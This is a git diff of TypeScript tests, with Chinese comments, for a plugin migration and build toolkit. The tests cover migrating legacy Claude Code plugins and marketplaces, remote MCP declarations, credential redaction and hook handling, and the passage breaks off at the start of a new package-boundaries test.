@@ describe('legacy Migration', () => { expect(report.success).toBe(true); expect(report.sourceType).toBe('project'); - expect(report.items).toContainEqual(expect.objectContaining({ kind: 'instruction', outcome: 'unmapped' })); + expect(report.items).toContainEqual(expect.objectContaining({ + kind: 'instruction', + outcome: 'unmapped', + fields: [expect.objectContaining({ field: 'content', outcome: 'unmapped' })], + })); expect(await fs.readFile(path.join(root, 'migrated/src/skills/my-skill/SKILL.md'), 'utf8')).toContain('description:'); expect(JSON.parse(await fs.readFile(path.join(root, 'migrated/package.json'), 'utf8'))).toMatchObject({ devDependencies: { typescript: '^7.0.2' }, @@ -44,9 +52,12 @@ describe('legacy Migration', () => { }); it('strict dry-run fails on preserved unmapped resources and writes no destination', async () => { + /** 严格 dry-run 使用的临时工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); roots.push(root); + /** 包含越界 Instructions 的固定旧工程来源。 */ const source = legacyProjectFixture; + /** 严格模式下因 unmapped 资源失败的 dry-run 报告。 */ const report = await migrate({ cwd: root, source, @@ -62,8 +73,10 @@ describe('legacy Migration', () => { }); it('migrates all marketplace plugins into a pnpm workspace at a nested destination', async () => { + /** Marketplace 多工程迁移测试使用的工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); roots.push(root); + /** 动态创建的旧 Claude Marketplace 根目录。 */ const marketplace = path.join(root, 'marketplace'); await fs.mkdir(path.join(marketplace, '.claude-plugin'), { recursive: true }); await fs.writeFile(path.join(marketplace, '.claude-plugin/marketplace.json'), JSON.stringify({ @@ -82,6 +95,7 @@ Run the ${plugin} workflow. `); } + /** 全量迁移两个 Plugin 后的 Workspace 报告。 */ const report = await migrate({ cwd: root, source: 'marketplace', @@ -90,13 +104,89 @@ Run the ${plugin} workflow. }); expect(report).toMatchObject({ success: true, sourceType: 'marketplace', projects: ['first-plugin', 'second-plugin'] }); + expect(report.items).toContainEqual(expect.objectContaining({ + kind: 'marketplace', + id: 'fixture-marketplace', + outcome: 'unmapped', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'name', source: '.claude-plugin/marketplace.json', outcome: 'unmapped' }), + expect.objectContaining({ field: 'plugin-order', destination: '.acplugin-migration/report.json', outcome: 'unmapped' }), + ]), + })); expect(await fs.readFile(path.join(root, 'nested/migrated/pnpm-workspace.yaml'), 'utf8')).toContain('first-plugin'); await fs.access(path.join(root, 'nested/migrated/second-plugin/src/skills/hello/SKILL.md')); }); + it('writes a selected marketplace plugin directly as one canonical project', async () => { + /** 单 Plugin Marketplace 迁移测试使用的工作目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + /** 仅包含一个可选择条目的旧 Marketplace。 */ + const marketplace = path.join(root, 'marketplace'); + await fs.mkdir(path.join(marketplace, '.claude-plugin'), { recursive: true }); + await fs.mkdir(path.join(marketplace, 'plugins/selected/skills/hello'), { recursive: true }); + await fs.writeFile(path.join(marketplace, '.claude-plugin/marketplace.json'), JSON.stringify({ + name: 'single-fixture', + plugins: [{ name: 'selected-plugin', description: 'Selected plugin.', source: './plugins/selected' }], + })); + await fs.writeFile(path.join(marketplace, 'plugins/selected/skills/hello/SKILL.md'), '---\ndescription: Hello.\n---\nHello.\n'); + + /** --plugin 输出根本身就是可安装和构建的规范工程。 */ + const report = await migrate({ + cwd: root, + source: 'marketplace', + destination: 'selected-output', + plugin: 'selected-plugin', + }); + + expect(report).toMatchObject({ success: true, projects: ['.'] }); + await fs.access(path.join(root, 'selected-output/acplugin.config.ts')); + await fs.access(path.join(root, 'selected-output/src/skills/hello/SKILL.md')); + await expect(fs.access(path.join(root, 'selected-output/pnpm-workspace.yaml'))).rejects.toThrow(); + await expect(fs.access(path.join(root, 'selected-output/selected-plugin'))).rejects.toThrow(); + }); + + it('retains and validates a Marketplace plugin whose only resource is remote MCP', async () => { + /** MCP-only Marketplace 回归测试使用的临时工作目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + /** 只包含一个远程 MCP Plugin 的旧 Marketplace。 */ + const marketplace = path.join(root, 'marketplace'); + await fs.mkdir(path.join(marketplace, '.claude-plugin'), { recursive: true }); + await fs.mkdir(path.join(marketplace, 'plugins/remote'), { recursive: true }); + await fs.writeFile(path.join(marketplace, '.claude-plugin/marketplace.json'), JSON.stringify({ + name: 'mcp-marketplace', + plugins: [{ name: 'remote-tools', description: 'Remote tools.', source: './plugins/remote' }], + })); + await fs.writeFile(path.join(marketplace, 'plugins/remote/.mcp.json'), JSON.stringify({ + mcpServers: { docs: { type: 'http', url: 'https://mcp.example.com/mcp' } }, + })); + + /** --plugin 不能因缺少 Core Component 丢弃 MCP-only 清单条目。 */ + const report = await migrate({ + cwd: root, + source: 'marketplace', + destination: 'remote-output', + plugin: 'remote-tools', + }); + + expect(report).toMatchObject({ success: true, projects: ['.'] }); + expect(report.items).toContainEqual(expect.objectContaining({ + kind: 'metadata', + id: 'remote-tools', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'name', source: '.claude-plugin/marketplace.json', outcome: 'mapped' }), + ]), + })); + expect(report.items).toContainEqual(expect.objectContaining({ kind: 'mcp', id: 'docs', outcome: 'migrated' })); + await fs.access(path.join(root, 'remote-output/src/mcp/docs/mcp.ts')); + }); + it('rejects marketplace sources that resolve outside the source tree', async () => { + /** Marketplace 路径逃逸测试使用的工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); roots.push(root); + /** 声明越界 Plugin source 的 Marketplace 根。 */ const marketplace = path.join(root, 'marketplace'); await fs.mkdir(path.join(marketplace, '.claude-plugin'), { recursive: true }); await fs.mkdir(path.join(root, 'outside', 'skills', 'escape'), { recursive: true }); @@ -111,8 +201,10 @@ Run the ${plugin} workflow. }); it('never copies literal MCP credentials into canonical or unmapped output', async () => { + /** MCP 凭据脱敏测试使用的工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); roots.push(root); + /** 动态创建且含明文凭据的旧 Claude 工程。 */ const source = path.join(root, 'legacy-project'); await fs.mkdir(path.join(source, '.claude'), { recursive: true }); await fs.writeFile(path.join(source, '.mcp.json'), JSON.stringify({ @@ -125,10 +217,13 @@ Run the ${plugin} workflow. }, })); + /** 无法安全自动迁移 MCP 后的报告。 */ const report = await migrate({ cwd: root, source: 'legacy-project', destination: 'migrated', name: 'safe-plugin', description: 'Safe migration.', }); + expect(report.success, JSON.stringify(report.diagnostics)).toBe(true); + /** 未映射 MCP Sidecar 中应完成脱敏的文本。 */ const output = await fs.readFile(path.join(root, 'migrated/.acplugin-migration/unmapped/mcp/secret.json'), 'utf8'); expect(report.items).toContainEqual(expect.objectContaining({ kind: 'mcp', id: 'secret', outcome: 'unmapped' })); @@ -138,8 +233,10 @@ Run the ${plugin} workflow. }); it('preserves Hook implementation files without treating them as trusted canonical handlers', async () => { + /** Hook 引用文件保留测试使用的工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); roots.push(root); + /** 动态创建且引用本地脚本的旧 Claude 工程。 */ const source = path.join(root, 'legacy-project'); await fs.mkdir(path.join(source, '.claude'), { recursive: true }); await fs.mkdir(path.join(source, 'scripts'), { recursive: true }); @@ -150,6 +247,7 @@ Run the ${plugin} workflow. })); await fs.writeFile(path.join(source, 'scripts/check.sh'), '#!/bin/sh\nexit 0\n'); + /** Hook 配置与实现均作为未映射内容保留的报告。 */ const report = await migrate({ cwd: root, source: 'legacy-project', @@ -157,6 +255,7 @@ Run the ${plugin} workflow. name: 'hook-project', description: 'Hook migration fixture.', }); + expect(report.success, JSON.stringify(report.diagnostics)).toBe(true); expect(report.items).toContainEqual(expect.objectContaining({ kind: 'hook-file', @@ -168,8 +267,10 @@ Run the ${plugin} workflow. }); it('does not create nested destination parents during dry-run', async () => { + /** 嵌套 dry-run 目标测试使用的工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); roots.push(root); + /** 固定旧工程 Fixture 的来源路径。 */ const source = legacyProjectFixture; await migrate({ cwd: root, @@ -182,4 +283,252 @@ Run the ${plugin} workflow. await expect(fs.access(path.join(root, 'not-created'))).rejects.toThrow(); }); + + it('preserves Command, Skill, Agent, metadata, and binary fields without overstating lossy resources', async () => { + /** 字段级保真测试使用的临时工作目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + /** 动态创建的完整旧 Claude Code Plugin。 */ + const source = path.join(root, 'legacy-plugin'); + await fs.mkdir(path.join(source, '.claude-plugin'), { recursive: true }); + await fs.mkdir(path.join(source, 'commands'), { recursive: true }); + await fs.mkdir(path.join(source, 'skills/review/assets'), { recursive: true }); + await fs.mkdir(path.join(source, 'agents'), { recursive: true }); + await fs.writeFile(path.join(source, '.claude-plugin/plugin.json'), JSON.stringify({ + name: 'release-tools', + version: '2.3.4+build.1', + description: 'Release workflow tools.', + displayName: 'Release Tools', + author: { name: 'TokenRoll', email: 'maintainers@example.com', url: 'https://example.com/team' }, + homepage: 'https://example.com/release-tools', + repository: 'https://github.com/TokenRollAI/release-tools', + license: 'MIT', + keywords: ['release', 'review'], + })); + await fs.writeFile(path.join(source, 'commands/release.md'), `--- +description: Prepare a release. +argument-hint: +argumentHint: +allowed-tools: Read, Grep +model: sonnet +--- +Prepare release $ARGUMENTS. +`); + await fs.writeFile(path.join(source, 'commands/status.md'), `--- +description: Check release status. +argument-hint: +argumentHint: +--- +Check status for $ARGUMENTS. +`); + await fs.writeFile(path.join(source, 'skills/review/SKILL.md'), `--- +description: Review a change. +user-invocable: false +disable-model-invocation: false +allowed-tools: Read, Grep +context: fork +agent: reviewer +--- +Review the change. +`); + /** 包含无效 UTF-8 和零字节的 Skill 辅助文件。 */ + const binary = Buffer.from([0, 255, 1, 128, 10]); + await fs.writeFile(path.join(source, 'skills/review/assets/logo.bin'), binary); + await fs.writeFile(path.join(source, 'agents/reviewer.md'), `--- +description: Review code. +tools: Read, NotebookEdit, WebSearch, Bash +disallowedTools: Write +model: sonnet +effort: high +maxTurns: 8 +skills: + - review +memory: project +background: false +isolation: worktree +permissionMode: plan +--- +Review code. +`); + + /** 完整 Plugin 迁移和字段级报告。 */ + const report = await migrate({ cwd: root, source: 'legacy-plugin', destination: 'migrated' }); + /** 迁移后顶层元数据配置源码。 */ + const config = await fs.readFile(path.join(root, 'migrated/acplugin.config.ts'), 'utf8'); + /** 迁移后规范 Command。 */ + const command = await fs.readFile(path.join(root, 'migrated/src/commands/release.md'), 'utf8'); + /** 迁移后规范 Agent。 */ + const agent = await fs.readFile(path.join(root, 'migrated/src/agents/reviewer.md'), 'utf8'); + /** 迁移后按字节复制的 Skill 辅助文件。 */ + const migratedBinary = await fs.readFile(path.join(root, 'migrated/src/skills/review/assets/logo.bin')); + + expect(report.success, JSON.stringify(report.diagnostics)).toBe(true); + expect(config).toContain('version: "2.3.4+build.1"'); + expect(config).toContain('author: {"name":"TokenRoll","email":"maintainers@example.com","url":"https://example.com/team"}'); + expect(command).toContain('argumentHint: '); + expect(command).toContain('allowedTools:'); + expect(command).toContain('Prepare release {{arguments}}.'); + expect(agent).toContain('capabilities:'); + expect(agent).toContain('filesystem:write'); + expect(agent).toContain('search'); + expect(agent).toContain('network'); + expect(agent).toContain('platforms:'); + expect(report.items).toEqual(expect.arrayContaining([ + expect.objectContaining({ + kind: 'agent', id: 'reviewer', outcome: 'unmapped', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'description', outcome: 'mapped', destination: 'src/agents/reviewer.md' }), + expect.objectContaining({ field: 'permissionMode', outcome: 'unmapped' }), + ]), + }), + expect.objectContaining({ + kind: 'command', id: 'release', outcome: 'degraded', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'description', outcome: 'mapped' }), + expect.objectContaining({ field: 'argument-hint', outcome: 'mapped' }), + expect.objectContaining({ field: 'argumentHint', outcome: 'degraded' }), + ]), + }), + expect.objectContaining({ + kind: 'command', id: 'status', outcome: 'migrated', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'argument-hint', outcome: 'mapped' }), + expect.objectContaining({ field: 'argumentHint', outcome: 'mapped' }), + ]), + }), + expect.objectContaining({ + kind: 'skill', id: 'review', outcome: 'migrated', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'user-invocable', outcome: 'mapped' }), + expect.objectContaining({ field: 'disable-model-invocation', outcome: 'mapped' }), + ]), + }), + expect.objectContaining({ + kind: 'metadata', id: 'release-tools', outcome: 'migrated', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'version', outcome: 'mapped' }), + expect.objectContaining({ field: 'author.email', outcome: 'mapped' }), + expect.objectContaining({ field: 'license', outcome: 'mapped' }), + ]), + }), + ])); + expect(createHash('sha256').update(migratedBinary).digest('hex')).toBe(createHash('sha256').update(binary).digest('hex')); + expect(await fs.readFile(path.join(root, 'migrated/.gitignore'), 'utf8')).toContain('.acplugin-migration/unmapped/'); + }); + + it('validates every metadata source field before emitting canonical config', async () => { + /** 非法、规范化和冗余元数据回归使用的临时工作目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + /** 同时包含根元数据和 Marketplace interface 回退字段的旧 Plugin。 */ + const source = path.join(root, 'legacy-plugin'); + await fs.mkdir(path.join(source, '.claude-plugin'), { recursive: true }); + await fs.mkdir(path.join(source, 'skills/hello'), { recursive: true }); + await fs.writeFile(path.join(source, 'skills/hello/SKILL.md'), '---\ndescription: Hello.\n---\nHello.\n'); + await fs.writeFile(path.join(source, '.claude-plugin/plugin.json'), JSON.stringify({ + name: 'metadata-fixture', + version: '1.0.0+build.1', + description: 'Primary description.', + displayName: ' Metadata Fixture ', + author: { name: ' TokenRoll ', email: 'not-an-email', url: 'not-a-url' }, + homepage: 'not-a-url', + repository: 'git@example.com:owner/repository.git', + license: 'NOT A VALID SPDX EXPRESSION', + keywords: ['release', ' release '], + interface: { + displayName: 'Fallback Display', + shortDescription: 'Fallback short description.', + longDescription: 'Fallback long description.', + developerName: 'Fallback Developer', + websiteURL: 'https://example.com/fallback', + }, + })); + + /** 非严格模式仍生成只包含合法字段的工程,并把所有损失留在报告。 */ + const report = await migrate({ cwd: root, source: 'legacy-plugin', destination: 'migrated' }); + /** 经过逐字段过滤和规范化的最终配置源码。 */ + const config = await fs.readFile(path.join(root, 'migrated/acplugin.config.ts'), 'utf8'); + /** 元数据资源的字段最差结果。 */ + const metadata = report.items.find(item => item.kind === 'metadata'); + + expect(report.success, JSON.stringify(report.diagnostics)).toBe(true); + expect(report.diagnostics).not.toContainEqual(expect.objectContaining({ code: 'MIGRATION_PROJECT_VALIDATION_FAILED' })); + expect(config).toContain('version: "1.0.0+build.1"'); + expect(config).toContain('displayName: "Metadata Fixture"'); + expect(config).toContain('author: {"name":"TokenRoll"}'); + expect(config).toContain('homepage: "https://example.com/fallback"'); + expect(config).toContain('keywords: ["release"]'); + expect(config).not.toContain('repository:'); + expect(config).not.toContain('license:'); + expect(metadata).toMatchObject({ kind: 'metadata', outcome: 'unmapped' }); + expect(metadata?.fields).toEqual(expect.arrayContaining([ + expect.objectContaining({ field: 'version', outcome: 'mapped' }), + expect.objectContaining({ field: 'displayName', outcome: 'degraded' }), + expect.objectContaining({ field: 'interface.displayName', outcome: 'unmapped' }), + expect.objectContaining({ field: 'interface.shortDescription', outcome: 'unmapped' }), + expect.objectContaining({ field: 'interface.longDescription', outcome: 'unmapped' }), + expect.objectContaining({ field: 'author.name', outcome: 'degraded' }), + expect.objectContaining({ field: 'author.email', outcome: 'unmapped' }), + expect.objectContaining({ field: 'author.url', outcome: 'unmapped' }), + expect.objectContaining({ field: 'interface.developerName', outcome: 'unmapped' }), + expect.objectContaining({ field: 'homepage', outcome: 'unmapped' }), + expect.objectContaining({ field: 'interface.websiteURL', outcome: 'degraded' }), + expect.objectContaining({ field: 'repository', outcome: 'unmapped' }), + expect.objectContaining({ field: 'license', outcome: 'unmapped' }), + expect.objectContaining({ field: 'keywords', outcome: 'degraded' }), + ])); + }); + + it('migrates only safe remote HTTPS MCP declarations with the official Extension package', async () => { + /** 安全远程 MCP 测试使用的临时工作目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); + roots.push(root); + /** 只包含安全远程 MCP 的旧工程。 */ + const source = path.join(root, 'legacy-project'); + await fs.mkdir(path.join(source, '.claude'), { recursive: true }); + await fs.writeFile(path.join(source, '.mcp.json'), JSON.stringify({ + mcpServers: { + docs: { + type: 'http', + url: 'https://mcp.example.com/mcp', + headers: { + 'Authorization': 'Bearer ${DOCS_TOKEN}', + 'X-Tenant': '${TENANT_ID}', + }, + }, + }, + })); + + /** 自动迁移远程声明后的规范工程报告。 */ + const report = await migrate({ + cwd: root, + source: 'legacy-project', + destination: 'migrated', + name: 'remote-mcp', + description: 'Remote MCP migration.', + }); + /** 生成的类型化 MCP 描述源码。 */ + const descriptor = await fs.readFile(path.join(root, 'migrated/src/mcp/docs/mcp.ts'), 'utf8'); + /** 新工程依赖映射。 */ + const manifest = JSON.parse(await fs.readFile(path.join(root, 'migrated/package.json'), 'utf8')) as { + readonly devDependencies: Record; + }; + + expect(report.success, JSON.stringify(report.diagnostics)).toBe(true); + expect(report.items).toContainEqual(expect.objectContaining({ + kind: 'mcp', + id: 'docs', + outcome: 'migrated', + fields: expect.arrayContaining([ + expect.objectContaining({ field: 'url', source: '.mcp.json', destination: 'src/mcp/docs/mcp.ts', outcome: 'mapped' }), + expect.objectContaining({ field: 'headers.Authorization', outcome: 'mapped' }), + expect.objectContaining({ field: 'headers.X-Tenant', outcome: 'mapped' }), + ]), + })); + expect(descriptor).toContain('from \'@tokenroll/acplugin-extension-mcp\''); + expect(descriptor).toContain('"env":"DOCS_TOKEN"'); + expect(descriptor).toContain('"env": "TENANT_ID"'); + expect(manifest.devDependencies['@tokenroll/acplugin-extension-mcp']).toBe('^1.0.0'); + await expect(fs.access(path.join(root, 'migrated/node_modules'))).rejects.toThrow(); + }); }); diff --git a/packages/test/test/modules.test.ts b/packages/test/test/modules.test.ts deleted file mode 100644 index d792ee5..0000000 --- a/packages/test/test/modules.test.ts +++ /dev/null @@ -1,228 +0,0 @@ -import { promises as fs } from 'node:fs'; -import { spawn } from 'node:child_process'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { - buildProject, - resolveConfig, - type TypeScriptModuleLoader, -} from '@acplugin/core'; -import { claudeCodeCompiler } from '@acplugin/compiler-claude-code'; -import { codexCompiler } from '@acplugin/compiler-codex'; -import hooks, { defineHook } from '@tokenroll/acplugin-module-hooks'; -import mcp, { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; - -/** 当前测试创建并在 afterEach 中统一删除的临时工程目录。 */ -const roots: string[] = []; - -/** - * 执行构建产物中的 Hook Handler 或本地 MCP Server 并捕获完整输出。 - * - * @param file 待执行 ESM 文件。 - * @param input 写入进程 stdin 的协议输入。 - * @returns 子进程退出码和完整 stdout/stderr。 - */ -async function runNode(file: string, input: string): Promise<{ code: number | null; stdout: string; stderr: string }> { - return new Promise((resolve, reject) => { - /** 真实执行目标 Bundle 的 Node 子进程。 */ - const child = spawn(process.execPath, [file], { stdio: ['pipe', 'pipe', 'pipe'] }); - /** 子进程累计标准输出。 */ - let stdout = ''; - /** 子进程累计标准错误。 */ - let stderr = ''; - child.stdout.setEncoding('utf8').on('data', chunk => stdout += chunk); - child.stderr.setEncoding('utf8').on('data', chunk => stderr += chunk); - child.once('error', reject); - child.once('close', code => resolve({ code, stdout, stderr })); - child.stdin.end(input); - }); -} - -afterEach(async () => { - await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); -}); - -describe('official Modules', () => { - it('builds portable Hooks and remote/local MCP into both targets', async () => { - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-modules-test-')); - roots.push(root); - await fs.mkdir(path.join(root, 'src/skills/tools'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/hooks/policy'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/hooks/permission'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/hooks/compact'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/hooks/session-end'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/mcp/docs'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); - await fs.mkdir(path.join(root, 'node_modules/license-fixture'), { recursive: true }); - await fs.writeFile(path.join(root, 'node_modules/license-fixture/package.json'), JSON.stringify({ - name: 'license-fixture', - version: '1.2.3', - type: 'module', - exports: './index.js', - license: 'MIT', - })); - await fs.writeFile(path.join(root, 'node_modules/license-fixture/index.js'), `export default process.env.LICENSE_FIXTURE !== 'off';\n`); - await fs.writeFile(path.join(root, 'node_modules/license-fixture/LICENSE'), 'Fixture MIT license text.\n'); - await fs.writeFile(path.join(root, 'src/skills/tools/SKILL.md'), '---\ndescription: Use the tools.\n---\nUse the available tools safely.\n'); - await fs.writeFile(path.join(root, 'src/hooks/policy/hook.ts'), `import marker from 'license-fixture'; - export default { - __acpluginHook: true, - event: 'PreToolUse', - matcher: 'Bash', - timeout: 5, - async run() { return { decision: marker ? 'allow' : 'deny' }; }, - };`); - await fs.writeFile(path.join(root, 'src/hooks/permission/hook.ts'), `export default { __acpluginHook: true, event: 'PermissionRequest', async run() { return { decision: 'defer' }; } };`); - await fs.writeFile(path.join(root, 'src/hooks/compact/hook.ts'), `export default { __acpluginHook: true, event: 'PreCompact', async run() { return { decision: 'continue' }; } };`); - await fs.writeFile(path.join(root, 'src/hooks/session-end/hook.ts'), `export default { __acpluginHook: true, event: 'SessionEnd', async run() { return { decision: 'stop' }; } };`); - await fs.writeFile(path.join(root, 'src/mcp/docs/mcp.ts'), 'export default {};'); - await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), 'export default {};'); - await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), ` -import marker from 'license-fixture'; -let buffer = ''; -process.stdin.setEncoding('utf8'); -process.stdin.on('data', (chunk) => { - buffer += chunk; - let newline; - while ((newline = buffer.indexOf('\\n')) >= 0) { - const line = buffer.slice(0, newline); - buffer = buffer.slice(newline + 1); - if (!line) continue; - const request = JSON.parse(line); - if (request.method === 'initialize') { - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: request.id, result: { - protocolVersion: '2025-11-25', capabilities: { tools: {} }, serverInfo: { name: marker ? 'fixture' : 'invalid', version: '1.0.0' }, - } }) + '\\n'); - } else if (request.method === 'tools/list') { - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: request.id, result: { tools: [] } }) + '\\n'); - } - } -}); -`); - - const hookDefinition = defineHook({ - event: 'PreToolUse', - matcher: 'Bash', - timeout: 5, - /** 返回可验证目标平台决策映射的 allow 结果。 */ - async run() { return { decision: 'allow' }; }, - }); - const permissionDefinition = defineHook({ - event: 'PermissionRequest', - /** 返回应被 Codex 映射为空输出的 defer 结果。 */ - async run() { - return { decision: 'defer' }; - }, - }); - const compactDefinition = defineHook({ - event: 'PreCompact', - /** 返回应被 Codex 映射为空输出的 continue 结果。 */ - async run() { - return { decision: 'continue' }; - }, - }); - const invalidSessionEndDefinition = { - __acpluginHook: true, - event: 'SessionEnd', - /** 故意返回事件契约不允许的决策,验证运行时结果校验。 */ - async run() { - return { decision: 'stop' }; - }, - } as any; - const loader: TypeScriptModuleLoader = async (file) => { - if (file.endsWith('/hooks/policy/hook.ts')) - return hookDefinition; - if (file.endsWith('/hooks/permission/hook.ts')) - return permissionDefinition; - if (file.endsWith('/hooks/compact/hook.ts')) - return compactDefinition; - if (file.endsWith('/hooks/session-end/hook.ts')) - return invalidSessionEndDefinition; - if (file.endsWith('/mcp/docs/mcp.ts')) - return defineMcpServer({ transport: 'http', url: 'https://example.com/mcp', auth: { type: 'bearer', env: 'DOCS_TOKEN' }, headers: { 'X-Tenant': { env: 'TENANT' } } }); - if (file.endsWith('/mcp/local-tools/mcp.ts')) - return defineMcpServer({ transport: 'stdio', env: { TOKEN: { env: 'LOCAL_TOKEN' } } }); - throw new Error(`Unexpected descriptor ${file}`); - }; - const resolved = resolveConfig({ - name: 'module-plugin', - version: '1.0.0', - description: 'Module plugin.', - modules: [hooks(), mcp()], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - expect(resolved.diagnostics).toEqual([]); - - const result = await buildProject({ - config: resolved.config!, - compilers: new Map([ - ['claude-code', claudeCodeCompiler], - ['codex', codexCompiler], - ]), - loadTypeScriptModule: loader, - commit: true, - }); - - expect(result.report.success).toBe(true); - expect(JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/.mcp.json'), 'utf8'))).toHaveProperty('mcpServers.docs.headers.Authorization', 'Bearer ${DOCS_TOKEN}'); - expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/.mcp.json'), 'utf8'))).toMatchObject({ - 'docs': { bearer_token_env_var: 'DOCS_TOKEN', env_http_headers: { 'X-Tenant': 'TENANT' } }, - 'local-tools': { env_vars: ['LOCAL_TOKEN'] }, - }); - expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/.codex-plugin/plugin.json'), 'utf8'))).toHaveProperty('mcpServers', './.mcp.json'); - expect(JSON.parse(await fs.readFile(path.join(root, 'dist/codex/hooks/hooks.json'), 'utf8'))).toHaveProperty('hooks.PreToolUse'); - const hookHandler = path.join(root, 'dist/codex/hooks/policy/handler.mjs'); - expect((await fs.stat(hookHandler)).mode & 0o111).not.toBe(0); - const hookRun = await runNode(hookHandler, JSON.stringify({ - hook_event_name: 'PreToolUse', - session_id: 'session', - cwd: root, - tool_name: 'Bash', - })); - expect(hookRun).toMatchObject({ code: 0, stderr: '' }); - expect(JSON.parse(hookRun.stdout)).toHaveProperty('hookSpecificOutput.permissionDecision', 'allow'); - const malformedRun = await runNode(hookHandler, 'secret-payload-that-is-not-json'); - expect(malformedRun.code).toBe(1); - expect(malformedRun.stdout).toBe(''); - expect(malformedRun.stderr).toBe('acplugin hook error: INPUT_JSON_INVALID\n'); - expect(malformedRun.stderr).not.toContain('secret-payload'); - const permissionRun = await runNode(path.join(root, 'dist/codex/hooks/permission/handler.mjs'), JSON.stringify({ - hook_event_name: 'PermissionRequest', session_id: 'session', cwd: root, - })); - expect(permissionRun).toMatchObject({ code: 0, stdout: '', stderr: '' }); - const compactRun = await runNode(path.join(root, 'dist/codex/hooks/compact/handler.mjs'), JSON.stringify({ - hook_event_name: 'PreCompact', session_id: 'session', cwd: root, - })); - expect(compactRun).toMatchObject({ code: 0, stdout: '', stderr: '' }); - const invalidSessionEndRun = await runNode(path.join(root, 'dist/codex/hooks/session-end/handler.mjs'), JSON.stringify({ - hook_event_name: 'SessionEnd', session_id: 'session', cwd: root, - })); - expect(invalidSessionEndRun).toMatchObject({ code: 1, stdout: '', stderr: 'acplugin hook error: RESULT_DECISION_INVALID\n' }); - expect(await fs.readFile(path.join(root, 'dist/codex/hooks/policy/THIRD_PARTY_LICENSES.txt'), 'utf8')).toContain('license-fixture@1.2.3'); - const localServer = path.join(root, 'dist/codex/mcp/local-tools/server.mjs'); - const mcpRun = await runNode(localServer, [ - JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'initialize', params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'test', version: '1.0.0' } } }), - JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }), - JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }), - '', - ].join('\n')); - expect(mcpRun).toMatchObject({ code: 0, stderr: '' }); - expect(mcpRun.stdout.trim().split('\n').map(line => JSON.parse(line))).toEqual([ - expect.objectContaining({ id: 1, result: expect.objectContaining({ serverInfo: { name: 'fixture', version: '1.0.0' } }) }), - expect.objectContaining({ id: 2, result: { tools: [] } }), - ]); - expect(await fs.readFile(path.join(root, 'dist/codex/mcp/local-tools/THIRD_PARTY_LICENSES.txt'), 'utf8')).toContain('Fixture MIT license text.'); - - const installedRoot = path.join(root, 'installed-cache', 'module-plugin', '1.0.0'); - await fs.mkdir(path.dirname(installedRoot), { recursive: true }); - await fs.cp(path.join(root, 'dist/codex'), installedRoot, { recursive: true }); - const installedDescriptor = JSON.parse(await fs.readFile(path.join(installedRoot, '.mcp.json'), 'utf8')) as Record; - const installed = installedDescriptor['local-tools']!; - const installedRun = await runNode(path.resolve(installedRoot, installed.cwd, installed.args[0]!), [ - JSON.stringify({ jsonrpc: '2.0', id: 1, method: 'initialize', params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'test', version: '1.0.0' } } }), - '', - ].join('\n')); - expect(installedRun.code).toBe(0); - expect(JSON.parse(installedRun.stdout)).toHaveProperty('result.serverInfo.name', 'fixture'); - }); -}); diff --git a/packages/test/test/package-boundaries.test.ts b/packages/test/test/package-boundaries.test.ts new file mode 100644 index 0000000..1487b06 --- /dev/null +++ b/packages/test/test/package-boundaries.test.ts @@ -0,0 +1,150 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; +import { describe, expect, it } from 'vitest'; + +/** 包边界测试读取构建产物和清单时使用的仓库根目录。 */ +const root = fileURLToPath(new URL('../../..', import.meta.url)); + +/** 六个稳定 Platform 子路径及其唯一公开工厂名。 */ +const platformEntries = [ + ['claude-code', 'claudeCode'], + ['codex', 'codex'], + ['cursor', 'cursor'], + ['antigravity', 'antigravity'], + ['opencode', 'openCode'], + ['pi', 'pi'], +] as const; + +/** 